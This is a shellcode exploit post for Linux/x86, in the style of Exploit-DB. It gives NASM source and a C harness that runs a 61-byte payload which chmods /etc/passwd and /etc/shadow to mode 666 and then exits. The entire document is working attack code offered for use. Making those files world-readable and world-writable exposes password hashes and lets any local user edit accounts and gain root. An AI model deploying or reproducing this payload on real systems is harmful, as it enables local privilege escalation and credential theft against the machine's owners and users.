Linux/x86 - chmod 666 /etc/passwd & chmod 666 /etc/shadow Shellcode (61 bytes)

# Exploit Title: Linux/x86 - chmod 666 /etc/passwd & chmod 666 /etc/shadow (61 bytes)
# Date: 10/07/2019
# Exploit Author: Xavier Invers Fornells
# Contact: [email protected]	
# Tested on: Debian 4.19.28
# Architecture: x86
# Size: 61 bytes



#################################### chmod.nasm ####################################

global _start
section .text

_start:
	push byte 15		
	pop eax			
	push byte 0x64		
	push word 0x7773	
	push 0x7361702f		
	push 0x6374652f		
	mov ebx, esp
	
	push word 0x1b6	
	pop ecx		
	
	int 0x80		

	push byte 15
	pop eax		
	push byte 0x77
	push word 0x6f64
	push 0x6168732f
	push 0x6374652f
	mov ebx, esp

	push word 0x1b6
	pop ecx

	int 0x80

	push byte 1
	pop eax
	int 0x80

#################################### shellcode.c ####################################

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x6a\x0f\x58\x6a\x64\x66\x68\x73\x77\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\x66\x68\xb6\x01\x59\xcd\x80\x6a\x0f\x58\x6a\x77\x66\x68\x64\x6f\x68\x2f\x73\x68\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\x68\xb6\x01\x59\xcd\x80\x6a\x01\x58\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}